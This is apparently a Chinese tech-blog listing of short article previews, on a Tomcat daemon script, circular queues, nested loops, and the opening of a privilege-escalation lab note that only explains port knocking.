    如何写一个linux系统下的tomcat守护进程呢 上菜 1 编写守护进程shell脚本 下面这个脚本可以直接拿过来用 只需要改URL 和 tomcat启动目录即可 bin bash echo Start URL http 127 0 0
  • 六、线性队列

    序言 结构图 队列结构 队列常用操作 队列的实现 序言 线性队列是用数组实现的队列 队列遵循的原则FIFO first in first out 通常我们说的线性队列 为了节省数组的空间使用 都是循环队列 结构图 队列结构 typedef
  • 【函数(上)(双重for循环)】

    1 循环 1 双重for循环 概述 循环嵌套是指在一个循环语句中再定义一个循环语法结构 例如 嵌套一个for循环 这样for循环语句我们称之为双重for循环 双重for循环语法 for 外循环的初始 外循环的条件 外循环的表达式 for 内
  • LoadOfTheRoot提权学习

    端口碰撞 端口试探 port knocking 是一种通过连接尝试 从外部打开原先关闭端口的方法 一旦收到正确顺序的连接尝试 防火墙就会动态打开一些特定的端口给允许尝试连接的主机 端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻